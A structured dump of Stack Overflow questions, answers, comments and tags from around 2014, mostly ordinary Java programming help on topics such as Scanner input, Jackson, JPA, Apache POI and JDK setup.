has body: I am trying to read two line from a file. Here is my code (test.java): import java.util.Scanner; public class test { public static void main(String args[]) { f(); f(); } static void f() { Scanner scanner = new Scanner(System.in); String str; str = scanner.nextLine(); } } This is my terminal when is try to read input from file: $ cat&gt;inp abc def ^C $ javac test.java &amp;&amp; java test&lt;inp Exception in thread "main" java.util.NoSuchElementException: No line found at java.util.Scanner.nextLine(Scanner.java:1585) at test.f(test.java:12) at test.main(test.java:7) This is my terminal when I try to read input from keyboard: $ javac test.java &amp;&amp; java abc def $ there is no problem when reading from keyboard but at the first case I get runtime error. what is the problem? P.S. by "reading from file" I mean reading input from a file by using '&lt;' in a linux terminal.sorry for my mistake.
type: Question
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/33687665
favorite count: 0
has title: java scanner.nextLine error: no line found
tagged with: terminal
has comment: http://stackoverflow.com/comment/33687588
tagged with: bash
tagged with: java.util.scanner
downvote count: 0
has comment: http://stackoverflow.com/comment/33687965
has answer: http://stackoverflow.com/a/22192531
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22192531
score: 1
tagged with: java

http://stackoverflow.com/comment/33743224
comment on: http://stackoverflow.com/q/22223242
score: 0
type: Comment
type: QuestionComment
has text: You can use numberFormat.

http://stackoverflow.com/comment/33884977
has text: You are not allowed to replace standard java classes like javax.servlet.Servlet. Don't include javax.servlet.Servlet in your WAR file!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22301537
score: 0

http://stackoverflow.com/a/22180786
score: 0
has body: I think setting the layout to null is this issue. Set a proper Layout as shown below frame.setLayout(new GridLayout(1,1));)
answers question: http://stackoverflow.com/q/22180687
type: Answer

http://stackoverflow.com/comment/33773929
has text: It seems that it goes through each direction once, and ten it doesn't repeat
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22239871

http://stackoverflow.com/comment/33856759
comment on: http://stackoverflow.com/q/22285760
has text: http://www.leepoint.net/notes-java/flow/methods/50static-methods.html
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33884092
comment on: http://stackoverflow.com/q/22300980
type: Comment
type: QuestionComment
score: 0
has text: @KishanSarsechaGajjar brother i have already tried with it and it gives me this error."Hibernate: select hibernate_sequence.nextval from dual org.hibernate.exception.SQLGrammarException: could not get next sequence value"

http://stackoverflow.com/comment/33725350
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22208904
type: Comment
has text: Sh Hey, it doesn't work, although I avoided "1st you should declare instance of view in GameActivity.Java." What does that mean?

http://stackoverflow.com/a/22259439
score: 1
answers question: http://stackoverflow.com/q/22259270
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/48467398
has body: If you specifically want the URL mappings, there are a few ways, but they all require some information from the deployment. For example, if you know the name of the Servlet, you can use ServletContext#getServletRegistration(String) ServletContext context = ...; Collection&lt;String&gt; mappings = context.getServletRegistration("servlet-name").getMappings(); If you don't know the name, you can get them all with ServletContext#getServletRegistrations() Map&lt;String, ? extends ServletRegistration&gt; registrations = context.getServletRegistrations(); and try to find yours, maybe by comparing classes (your servlet class versus the class name from the ServletRegistration). Note that you will still probably have to try matching your current request's URL to the Servlet's url mappings to be sure. You'd have to go to the Specification to find out how the mappings actually work.

http://stackoverflow.com/comment/33912064
comment on: http://stackoverflow.com/a/22316588
has text: Please tell me, which is your del button ?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/71923364
score: 0
type: Answer
has body: To get the index: To get a numbering increment index by one.
answers question: http://stackoverflow.com/q/22266775

http://stackoverflow.com/q/22208936
has comment: http://stackoverflow.com/comment/34337926
type: AnsweredQuestion
score: 1
tagged with: java
type: Question
has body: This is a simple yes or no answer out of curiosity. I've seen some pretty decent cross-platform java tools such as Codemane One (capable of generating applications for multiple mobile platforms out of a sigle Java codebase). They handle major API differences and are able to generate cross-platform UI layers. I am wondering if anyone is trying to accomplish the same thing for IDE plugin development? IDEs underlying platforms and development models are so complex that, even when they are written in the same language (such as Java), you end up developing separate plugins for each IDE. So, is there a equivalent of Codename One targeting IDE plugin development? Is anyone working on that? (Obscure academic research is ok if they have developed something useful).
tagged with: netbeans-plugins
has comment: http://stackoverflow.com/comment/33719367
downvote count: 0
tagged with: eclipse-plugin
has answer: http://stackoverflow.com/a/22209843
has comment: http://stackoverflow.com/comment/33717809
tagged with: intellij-plugin
answer count: 1
favorite count: 0
has title: Is Java Cross-IDE plugin development possible?
has comment: http://stackoverflow.com/comment/33717700
upvote count: 1
has comment: http://stackoverflow.com/comment/34339121
accepted answer: http://stackoverflow.com/a/22209843

http://stackoverflow.com/comment/33822659
type: QuestionComment
has text: Do you always want to delete the data, or should it be archived? Maybe prior to the `!file.exists()` logic you should check if the month has changed and the file should be renamed.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22265944

http://stackoverflow.com/q/22262388
type: Question
tagged with: jersey
tagged with: api
accepted answer: http://stackoverflow.com/a/22262724
downvote count: 0
answer count: 1
tagged with: jackson
favorite count: 0
has comment: http://stackoverflow.com/comment/33815013
has body: Simple question/problem for anybody familiar with building APIs... I have many objects that I prefer to represent as a string rather than a Json object, for simplicity purposes. For example, I have a date range which I could (and used to) place into an object (with start end end date members), but considering we can have multiple of these ranges, I could instead have this... ['20130210-20130315','20130520-20130524'] Which IMO looks a lot simpler and cleaner than [ { "start":"2013-02-10", "end":"2013-03-15" }, { "start":"2013-05-20", "end":"2013-05-24" } ] And this holds for various other objects which are in the main Json object for the service. My dilemma of just treating them as Strings is that then I lose the ability to mark them with interfaces, which are used all throughout the code. (For instance, this Json in particular might be marked with a "Filter" interface which many methods take in.) That said, is there any way to satisfy both of these conditions, i.e. having a custom Json object (implementing my own interfaces, etc.) AND have Jackson parse it like a String primitive? I'm hoping this can be accomplished without much work involving custom serialization &amp; deserialization, since I have lots of objects.
has title: Have Jackson parse Json object as primitive String
has answer: http://stackoverflow.com/a/22262724
upvote count: 1
type: AnsweredQuestion
score: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
linked to: http://stackoverflow.com/q/14180922

http://stackoverflow.com/a/22204019
has comment: http://stackoverflow.com/comment/33708804
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22203958
type: Answer
answers question: http://stackoverflow.com/q/22203958
downvote count: 0
score: 1
has body: You'll have to modify MonitorAlertInstance. Add another field to it: class MonitorAlertInstance { private int count; public void setCount(int count) { this.count = count; } public int getCount() { return count; } } Then just set it like you set the other fields: monitor.setCount(rs.getInt(4));
type: AcceptedAnswer

http://stackoverflow.com/q/22285765
has answer: http://stackoverflow.com/a/22294623
downvote count: 0
favorite count: 0
tagged with: cassandra
upvote count: 6
has title: Cassandra java ORM
answer count: 4
has comment: http://stackoverflow.com/comment/33856943
type: UnansweredQuestion
tagged with: orm
has answer: http://stackoverflow.com/a/29920140
score: 6
has body: Does anyone know a something similar to spring-data-mongo but for Cassandra ? spring cassandra is alpha. easy cassandra is not so good. after working with spring-data-mongo, it is very hard to think in CQL way. thanks, and sorry for being lame.
has comment: http://stackoverflow.com/comment/33860779
has answer: http://stackoverflow.com/a/38188830
type: Question
has answer: http://stackoverflow.com/a/64970755
has comment: http://stackoverflow.com/comment/33861758
tagged with: java

http://stackoverflow.com/comment/33856383
type: QuestionComment
comment on: http://stackoverflow.com/q/22285579
has text: See [Mod in Java produces negative numbers](http://stackoverflow.com/a/5385053/1762224)
score: 0
type: Comment

http://stackoverflow.com/comment/33770369
comment on: http://stackoverflow.com/a/22209192
type: Comment
has text: Class to annotate would have to be `Map`, so usually you would annotate property (with `Map` value), not class.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33713297
type: AnswerComment
score: 0
type: Comment
has text: You can just have a `pullReel` method in your `GGCGuiLotto` class that will do the shuffling. Then in the listener just call `lotto.pullReel`. It seems the complete answer is out of the scope of your posted question. But this is how to access other instance variables. What I suggest is for you to trying and work out the `pullReel` method, and if you get stuck, post another question here.
comment on: http://stackoverflow.com/a/22206175

http://stackoverflow.com/comment/33821452
type: QuestionComment
comment on: http://stackoverflow.com/q/22265944
has text: yes i am storing the data in events.csv
score: 0
type: Comment

http://stackoverflow.com/comment/33884243
type: Comment
type: QuestionComment
score: 0
has text: I don't know if there is any convention regarding "units" in variable names but the whole point of formatting convention is to improve code readability. If your variable names get excessively long to the point that readability is hindered, I'm not sure if the conventions are appropriate anymore, regardless of how explicitly they state a particular rule. A variable should describe its use from its name, and it seems like you're doing that just fine with the first case. Consistency is key, all else comes secondary.
comment on: http://stackoverflow.com/q/22301275

http://stackoverflow.com/comment/33692880
comment on: http://stackoverflow.com/a/22195179
score: 0
type: AnswerComment
type: Comment
has text: WOw...thanks at all...You've solved my problem. I know that was a ridiculous problem but it was messing with me for couple of days...Thanks to all!!

http://stackoverflow.com/q/22274193
accepted answer: http://stackoverflow.com/a/22274303
has title: Solution to declare object. Says that it expects int[][]
favorite count: 0
upvote count: 0
score: -3
has answer: http://stackoverflow.com/a/22274270
tagged with: object
type: AnsweredQuestion
tagged with: java
downvote count: 3
type: Question
possible better answer: http://stackoverflow.com/a/22274270
has comment: http://stackoverflow.com/comment/33835526
has body: I am asked to print the total, average, highestInRow, lowestInRow, rowTotal,colTotal of a two dimensional array. I have some errors that show. They want the output to be this way. Processing iarray. Total : 45 Average : 5.0 Total of row 0 : 12 Total of row 1 : 14 Total of row 2 : 19 Total of col 0 : 14 Total of col 1 : 10 Total of col 2 : 21 Highest in row 0 : 9 Highest in row 1 : 7 Highest in row 2 : 8 Lowest in row 0 : 1 Lowest in row 1 : 3 Lowest in row 2 : 5 Here is my code public class Int2DArray { private int[][] array = { { 2,1,9},{7,3,4},{5,6,8} }; public Int2DArray(int[][] newArray ) { for ( int i = 0 ; i &lt; array.length ; i++ ) { array[i][i] = newArray[i][i]; } } public int getTotal( int total) { total = 0 ; for( int row = 0 ; row &lt; array.length ; row++ ) { for ( int col = 0 ; col &lt; array[row].length ; col ++ ) total+= array[row][col]; } return total; } public double getAverage ( double average ) { int total = 0 ; average = getTotal(total)/array.length; return average; } public int getRowTotal ( int rowTotal ) { for ( int row = 0 ; row &lt; array.length ; row ++ ) { for ( int col = 0 ; col &lt; array[row].length ; col ++ ) rowTotal += array[row][col]; } return rowTotal; } public int getColumnTotal ( int colTotal ) { for ( int col = 0 ; col &lt; array[0].length ; col ++ ) { for ( int row = 0 ; row &lt; array.length ; row ++ ) colTotal+= array[row][col]; } return colTotal; } public void getHighestInRow () { int max = 0 ; for ( int i = 0; i &lt; array.length; i++ ) { max = Integer.MIN_VALUE; for ( int j = 0; j &lt; array [ i ].length; j++ ) if ( array [ i ] [ j ] &gt; max ) max = array [ i ] [ j ]; System.out.println( "Maximum of row " + i + " = " + max ); } } public void getLowestInRow () { int min = 0 ; for ( int i = 0; i &lt; array.length; i++ ) { min = Integer.MAX_VALUE; for ( int j = 0; j &lt; array [ i ].length; j++ ) if ( array [ i ] [ j ] &lt; min ) min = array [ i ] [ j ]; System.out.println( "Minimum of row " + i + " = " + min ); } } public …
answer count: 2
has answer: http://stackoverflow.com/a/22274303

http://stackoverflow.com/comment/33814805
type: QuestionComment
score: 2
has text: An important skill that you should learn is how to use a debugger. It will help you out quite a bit in the future.
comment on: http://stackoverflow.com/q/22262335
type: Comment

http://stackoverflow.com/q/22275601
has comment: http://stackoverflow.com/comment/33838404
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/513832
accepted answer: http://stackoverflow.com/a/22275814
has answer: http://stackoverflow.com/a/22275667
upvote count: 2
possible better answer: http://stackoverflow.com/a/22275667
has comment: http://stackoverflow.com/comment/33838370
type: Question
score: 2
type: AnsweredQuestion
has body: I have a method which takes in parameters in the form of a vector from another vector. This vector can be of the size 2, 3 or 4 elements. I want to count the frequency of every word in that vector. For example, if the vector contained the strings : "hello", "my" , "hello" , I want to output an array that is [2, 1] where 2 is the frequency of hello and 1 is the frequency of my. Here is my attempt after reading a few questions on this website: int vector_length = query.size(); int [] tf_q = new int [vector_length]; int string_seen = 0; for (int p = 0; p&lt; query.size(); p++) { String temp_var = query.get(p); for (int q = 0; q&lt; query.size(); q++) { if (temp_var == query.get(q) ) { if (string_seen == 0) { tf_q[p]++; string_seen++; } else if (string_seen == 1) { tf_q[p]++; string_seen = 0; query.remove(p); } } } } System.out.print(Arrays.toString(tf_q)); What is the right direction to go?
tagged with: java
has answer: http://stackoverflow.com/a/22275814
has title: Counting the number of unique values in a vector
has answer: http://stackoverflow.com/a/22275966
has comment: http://stackoverflow.com/comment/33838468
answer count: 3

http://stackoverflow.com/q/22266249
favorite count: 0
has comment: http://stackoverflow.com/comment/33821612
has comment: http://stackoverflow.com/comment/33821544
upvote count: 1
tagged with: c++
type: AnsweredQuestion
tagged with: performance
has answer: http://stackoverflow.com/a/22266340
has comment: http://stackoverflow.com/comment/33821607
score: 1
tagged with: java
has body: Which is the best method for increasing a counter (integer) in java. I am interested in the cost of the operation. int j = 0; j = j + 1; or int i = 0; i++; It gives almost the same for small programs, but it differs for big calculations, the thousands of iterations.
has comment: http://stackoverflow.com/comment/33821587
accepted answer: http://stackoverflow.com/a/22266396
has answer: http://stackoverflow.com/a/22266405
possible better answer: http://stackoverflow.com/a/22266801
type: Question
has answer: http://stackoverflow.com/a/22266429
linked to: http://stackoverflow.com/q/3557489
has comment: http://stackoverflow.com/comment/33821657
has answer: http://stackoverflow.com/a/22266801
has comment: http://stackoverflow.com/comment/33821614
has title: Best way to increase counter in Java and C++?
has comment: http://stackoverflow.com/comment/33821640
downvote count: 0
duplicate of: http://stackoverflow.com/q/3557489
linked to: http://stackoverflow.com/q/24901
has answer: http://stackoverflow.com/a/22267717
tagged with: increment
answer count: 7
has answer: http://stackoverflow.com/a/22266449
tagged with: calculator
has answer: http://stackoverflow.com/a/22266396

hbase
tags question: http://stackoverflow.com/q/22246618
type: Tag
tags question: http://stackoverflow.com/q/22180748
tags question: http://stackoverflow.com/q/22237937
tag name: hbase

http://stackoverflow.com/a/22283798
has body: accept is a public method, since it's part of the class' external interface or contract. The regex member is private since its an implementation detail, and there's no point of accessing it from outside the class. In other words, anything to do with what the class does should be public. Anything to do with how the class does something should remain private, so it can be changed without impacting the class' users.
type: Answer
answers question: http://stackoverflow.com/q/22283739
score: 0

http://stackoverflow.com/q/22305462
has comment: http://stackoverflow.com/comment/33896555
score: -2
tagged with: java
has answer: http://stackoverflow.com/a/22306415
has title: Using Arrays Java
has body: My question is: Is this code correct and is it properly assigned to the Wheel speeds and duration What do I need to do in order to add the main method to run the code use a for loop to iterate through each row, instructing the Finch robot to move according to the numbers in each row. Pause after each movement using the code JOptionPane.showMessageDialog(null,"Click OK to continue..."); public class FinchArray { public static final int LEFT_WHEEL = 0; public static final int RIGHT_WHEEL = 1; public static final int DURATION = 2;{ int[][] x = new int[10][3]; // 2D array filled with zeros int time = 25; for (int[] row : x) { row[2] = time; time += 25; } for (int[] row : x) { row[DURATION] = time; time += 25; } for (int[] row : x){ row[LEFT_WHEEL] = time; time += 25; } for (int[] row : x){ row[RIGHT_WHEEL] = time; time += 25; } Finch fRobot = new Finch(); fRobot.setWheelVelocities(LEFT_WHEEL,RIGHT_WHEEL,DURATION); long before = System.currentTimeMillis(); while (System.currentTimeMillis() - before &lt; 5000){ if(fRobot.isObstacle())break; { } fRobot.stopWheels(); fRobot.quit(); } }
downvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33891954
has answer: http://stackoverflow.com/a/22306251
accepted answer: http://stackoverflow.com/a/22306251
tagged with: arrays
has comment: http://stackoverflow.com/comment/33895600
favorite count: 0
tagged with: multidimensional-array
has comment: http://stackoverflow.com/comment/33891960
has comment: http://stackoverflow.com/comment/33893107
has comment: http://stackoverflow.com/comment/33898465
possible better answer: http://stackoverflow.com/a/22306415
type: AnsweredQuestion
upvote count: 0
type: Question

http://stackoverflow.com/comment/33792418
has text: @peeskillet That is not i want. It should not decrease from fixed size which is given for other component inside the frame.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22250362

http://stackoverflow.com/comment/33665880
type: QuestionComment
comment on: http://stackoverflow.com/q/22178415
has text: @JudgeMental This appears to not be so helpful, sadly. :( listClusters() allows me to get the cluster ID (in an inelegant way), but I don't see how I can terminate the cluster using a cluster's ID (crazy I know). Any ideas how to terminate the cluster using this info?
score: 0
type: Comment

opencv
type: Tag
tags question: http://stackoverflow.com/q/22286083
tags question: http://stackoverflow.com/q/22272532
tags question: http://stackoverflow.com/q/22268492
tags question: http://stackoverflow.com/q/22186318
tags question: http://stackoverflow.com/q/22207322
tags question: http://stackoverflow.com/q/22191968
tags question: http://stackoverflow.com/q/22284823
tag name: opencv
tags question: http://stackoverflow.com/q/22179015
tags question: http://stackoverflow.com/q/22224098
tags question: http://stackoverflow.com/q/22295247
tags question: http://stackoverflow.com/q/22194476

http://stackoverflow.com/q/22190800
tagged with: file-io
answer count: 3
tagged with: http://stackoverflow.com/tag/csv
has body: I have a JButton which opens JFileChooser and that in turn selects a file into a variable called "file". I want to rename the selected file to "Best.html" and then provide it to TableToCSV.java (java TableToCSV.class Best.html), which will convert the selected file to a .csv format. Here is my code - final JFileChooser fileDialog = new JFileChooser(); JButton btnInputFile = new JButton("Input File"); btnInputFile.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { int returnVal = fileDialog.showOpenDialog(rootPane); if (returnVal == JFileChooser.APPROVE_OPTION) { java.io.File file = fileDialog.getSelectedFile(); } } }); Note - I want to rename because the TableToCSV.java file only inputs file with a .html extension. Note - TableToCSV.java lies in the same folder as my java program.
tagged with: swing
has answer: http://stackoverflow.com/a/22191026
possible better answer: http://stackoverflow.com/a/22191010
has answer: http://stackoverflow.com/a/22191031
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22191010
score: 0
tagged with: java
accepted answer: http://stackoverflow.com/a/22191031
has title: Java - run a java program with args within a Java program
type: Question

http://stackoverflow.com/a/22228926
has comment: http://stackoverflow.com/comment/33753216
answers question: http://stackoverflow.com/q/22227487
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33753535
has comment: http://stackoverflow.com/comment/33752872
has comment: http://stackoverflow.com/comment/33753997
has comment: http://stackoverflow.com/comment/33754504
has body: Think more dynamic, don't get stuck in thinking in static languages: I would keep baskets/{basketId}/products/{productId} and return polymorphic types. This can be implemented in java like this: public class BasketResponse { private Product product; } public class Product { private long id; private String type; } public class CD extends Product { private String albumName; public CD() { super.setType("CD"); } } This will only work of course with a dynamic datatype like JSON. Jackson serializes the object with the properties of the actual type not the declared type. On the client side, if you are using a dynamic language like JavaScript than this is no problem since you just have to check the type to see what properties you will expect. If you are using a static language like java you have to cast the types according to the type field. Usually JSON frameworks can assist you in correct casting your types (again see Jackson doc)
has comment: http://stackoverflow.com/comment/33753099
upvote count: 1
has comment: http://stackoverflow.com/comment/33755206
type: Answer
has comment: http://stackoverflow.com/comment/33753014
has comment: http://stackoverflow.com/comment/33755937

http://stackoverflow.com/comment/33855160
has text: Please check a tutorial about how to properly use constructors.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22284984
score: 1

http://stackoverflow.com/comment/34300783
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22168927
has text: It sounds like two apps? I wouldn't create two SecurityManagers - A whole world of pain because they are based on ThreadLocals.
score: 0

http://stackoverflow.com/q/22205684
has answer: http://stackoverflow.com/a/22206316
accepted answer: http://stackoverflow.com/a/22206316
type: AnsweredQuestion
score: 1
type: Question
has title: JPA CriteriaBuilder generics error: CriteriaQuery<capture#2-of ?> is not applicable for the arguments (Expression<Long>)
tagged with: java
has body: I'm new to JPA CriteriaBuilder and am running into a generics error with JPA Criteria Queries that I cannot seem to understand or work my way around. I'm trying to translate the following query into a Criteria query to use in a Spring Data repository: select * from User where id = ( select max(id) from User); I've tried to do the following based on code I've seen at https://wiki.eclipse.org/EclipseLink/UserGuide/JPA/Basic_JPA_Development/Querying/Criteria, but it is giving a compile time error: new Specification&lt;User&gt;() { @Override public Predicate toPredicate(Root&lt;User&gt; root, CriteriaQuery&lt;?&gt; query, CriteriaBuilder cb) { root = query.from(User.class); cb.greatest(root.&lt;Long&gt;get("id")) query.select(cb.max(root.&lt;Long&gt;get("id"))); // TODO Auto-generated method stub return null; } }); Of course, I'm just realizing that once I figure out how to specify the query, I'm not even sure how to convert that into a Predicate either. Am I completely off-base here? How do I convert the above SQL to a Predicate that I can use?
upvote count: 1
answer count: 1
tagged with: jpa
downvote count: 0
tagged with: generics
favorite count: 0
tagged with: spring-data-jpa

http://stackoverflow.com/comment/33798031
score: 0
has text: My problem isn't what I've tried. I know how to create a TextField. I know how to set it up to get user input. I know how to set text to a textfield. I don't know the specific way how to set permanent text. I don't need everything fleshed out, just asking about the permanent text.
type: QuestionComment
comment on: http://stackoverflow.com/q/22253497
type: Comment

http://stackoverflow.com/comment/33782018
comment on: http://stackoverflow.com/q/22237491
type: Comment
type: QuestionComment
score: 0
has text: I would choose better variable names with some meaning

http://stackoverflow.com/q/22312294
tagged with: google-app-engine
has body: I'm getting an error when trying to deploy an project to AppEngine using NetBeans. I installed the plugin for NetBeans and I can run the application localy using appengine-java-sdk-1.9.0 When I try to deploy the program I get the following message: Beginning interaction for module default... 0% Created staging directory at: 'C:\Users\Adi\AppData\Local\Temp\appcfg8079434123068806992.tmp' 5% Scanning for jsp files. 8% Compiling jsp files. Error Details: Mar 10, 2014 11:50:04 PM org.apache.jasper.JspC processFile INFO: Built File: \guestbook.jsp java.lang.RuntimeException: Cannot get the System Java Compiler. Please use a JDK, not a JRE. Unable to update app: Cannot get the System Java Compiler. Please use a JDK, not a JRE. Please see the logs [C:\Users\Adi\AppData\Local\Temp\appcfg5934545421821565182.log] for further information. Thanks in advance.
has comment: http://stackoverflow.com/comment/33918214
has answer: http://stackoverflow.com/a/26579748
has comment: http://stackoverflow.com/comment/33904558
score: 2
type: AnsweredQuestion
tagged with: netbeans
upvote count: 2
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22337654
accepted answer: http://stackoverflow.com/a/26579748
has comment: http://stackoverflow.com/comment/33904615
has title: NetBeans 7.4 Cannot get the System Java Compiler. Please use a JDK, not a JRE
possible better answer: http://stackoverflow.com/a/22337654
answer count: 3
has answer: http://stackoverflow.com/a/22321104
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33811149
has text: You can use `substring` and `toUpperCase` methods from String class. You can also use `Character` class for this task.
score: 2
comment on: http://stackoverflow.com/q/22260495
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33846647
type: Comment
has text: If your using `Eclipse IDE`, then `Right click on your project -> Properties -> Run/Debug Settings -> Select your launcher class -> Arguments tap`
score: 1
comment on: http://stackoverflow.com/a/22280245
type: AnswerComment

http://stackoverflow.com/comment/33810764
type: AnswerComment
has text: @brainstorm Because to compiler, `Object[]` is not a `V[]`. You need a cast there to make it compile. Remember an important point - *Generics is all about compile-time type safety, nothing more than that.*
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22259981

http://stackoverflow.com/comment/33937192
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22278389
type: AnswerComment
has text: Thank you very much, i have already created a custom portlet to display the user´s name. I´ll leave the answer here in case anyone find´s it helpful.

http://stackoverflow.com/q/22294690
has comment: http://stackoverflow.com/comment/81535120
tagged with: java
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81535638
has body: I'm using Apache POI to edit Excels in Java. After editing POI is not able to save file because the Excel is always protected. If you open, it will show the option to enable editing. On copying same file to a new Excel will work fine. But is there any way to enable editing from Java for the Excel? Here is a sample of my code: import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.Iterator; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.xssf.usermodel.XSSFCell; import org.apache.poi.xssf.usermodel.XSSFRow; import org.apache.poi.xssf.usermodel.XSSFSheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; public class Test3 { public static void main(String args[]) { try { FileInputStream file = new FileInputStream(new File( "New Microsoft Excel Worksheet.xlsx")); // Document document = Jsoup.connect("http://www.google.com").get(); // Get the workbook instance for XLS file XSSFWorkbook workbook = new XSSFWorkbook(file); for (int i = 0; i &lt; workbook.getNumberOfSheets(); i++) { // Get first sheet from the workbook XSSFSheet sheet = workbook.getSheetAt(i); // Iterate through each rows from first sheet Iterator&lt;Row&gt; rowIterator = sheet.iterator(); while (rowIterator.hasNext()) { XSSFRow row = (XSSFRow) rowIterator.next(); // For each row, iterate through each columns Iterator&lt;Cell&gt; cellIterator = row.cellIterator(); while (cellIterator.hasNext()) { // Do something } } } file.close(); FileOutputStream out = new FileOutputStream( "New Microsoft Excel Worksheet.xlsx"); workbook.write(out); out.close(); System.out.println("Done!!!!!!!!"); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } I'm using excel 2007.
has comment: http://stackoverflow.com/comment/33880916
downvote count: 0
has comment: http://stackoverflow.com/comment/81536351
answer count: 1
favorite count: 0
tagged with: apache-poi
has title: Apache POI Enable excel editing
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33875186
has comment: http://stackoverflow.com/comment/33882018
tagged with: excel
has comment: http://stackoverflow.com/comment/33875498
score: 2
has answer: http://stackoverflow.com/a/47293774

http://stackoverflow.com/q/22252488
downvote count: 0
accepted answer: http://stackoverflow.com/a/22252809
has body: Hello I have this snipped of code: <property name="location" value="classpath:prj.properties"/> inside the file ../META-INF/spring/my-contexts/foo.xml and I'm getting a java.lang.ClassNotFoundException. All works fine the XML file is located here ../META-INF/spring/foo.xml So, how can I instantiate this bean from a XML files located in another folder than ../META-INF/spring/* Thanks! Edit 1: added error output karaf@root> Exception in thread "SpringOsgiExtenderThread-55" org.springframework.beans.factory.CannotLoadBeanClassException: Cannot find cl ass [classpath:org.apache.camel.component.properties.PropertiesComponent] for bean with name 'properties' defined in OSGi resource[classpath :META-INF/spring/my-contexts/foo.xml|bnd.id=247|bnd.sym=my.foo.bundle]; nested exce ption is java.lang.ClassNotFoundException: classpath:org.apache.camel.component.properties.PropertiesComponent not found from bundle [my.foo.bundle] at org.springframework.beans.factory.support.AbstractBeanFactory.resolveBeanClass(AbstractBeanFactory.java:1261) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.predictBeanType(AbstractAutowireCapableBeanFactory.j ava:575) at org.springframework.beans.factory.support.AbstractBeanFactory.isFactoryBean(AbstractBeanFactory.java:1330) at org.springframework.beans.factory.support.AbstractBeanFactory.isFactoryBean(AbstractBeanFactory.java:896) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:566 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:89 5) at org.springframework.osgi.context.support.AbstractDelegatedExecutionApplicationContext.access$1600(AbstractDelegatedExecutionAppli cationContext.java:69) at org.springframework.osgi.context.support.AbstractDelegatedExecutionApplicationContext$4.run(AbstractDelegatedExecutionApplication Context.java:355) at org.springframew…
answer count: 1
has comment: http://stackoverflow.com/comment/33795952
has title: How to set the correct Bean class path
favorite count: 0
upvote count: 1
tagged with: spring
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22252809
score: 1
tagged with: java
tagged with: apache-camel
type: Question

http://stackoverflow.com/q/22188096
has body: I'm trying to set the JAVA_HOME environment variable - I need to set it to the 64 bit version. To make sure I have the 64 bit version, I checked java -version by the cmd prompt, and got the output: Java version "1.7.0_25" Java&lt;TM&gt; SE Runtime Environment &lt;build 1.7.0_25-b17&gt; Java Hotspot&lt;TM&gt; 64-bit Server VM &lt;build 23.25-b01, mixed mode&gt; I'm assuming the last line verifies I have 64-bit... so I went to check the exact path to type into the environment variable, and found that Program Files\Java\ does not contain a jdk folder. However, Program Files (x86)\Java\ does. Instead, the former only has a jre7 folder. I can't direct my environment variable to the 32-bit folder because Android Studio keeps telling me that I need 64-bit java. What am I missing? (If this belongs on SuperUser and not here, just comment below and i'll delete the question here)
upvote count: 5
tagged with: java
has title: I have 64 bit Java, but no jdk folder in my Program Files\Java folder?
has comment: http://stackoverflow.com/comment/33680311
has comment: http://stackoverflow.com/comment/33680333
score: 5
downvote count: 0
has answer: http://stackoverflow.com/a/22188186
has comment: http://stackoverflow.com/comment/33680422
has comment: http://stackoverflow.com/comment/33702616
tagged with: path-variables
favorite count: 0
has answer: http://stackoverflow.com/a/22188140
has comment: http://stackoverflow.com/comment/33680511
has comment: http://stackoverflow.com/comment/33680615
has answer: http://stackoverflow.com/a/22189045
has comment: http://stackoverflow.com/comment/33699354
has comment: http://stackoverflow.com/comment/137605508
answer count: 4
has answer: http://stackoverflow.com/a/78054838
has comment: http://stackoverflow.com/comment/33680349
has comment: http://stackoverflow.com/comment/33680474
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33680510
has comment: http://stackoverflow.com/comment/33680571
type: Question

http://stackoverflow.com/comment/33775973
type: QuestionComment
comment on: http://stackoverflow.com/q/22241100
has text: Wow that whole lot of irrelevant code... try jsp http://www.tutorialspoint.com/jsp/jsp_database_access.htm
score: 0
type: Comment

http://stackoverflow.com/q/22294477
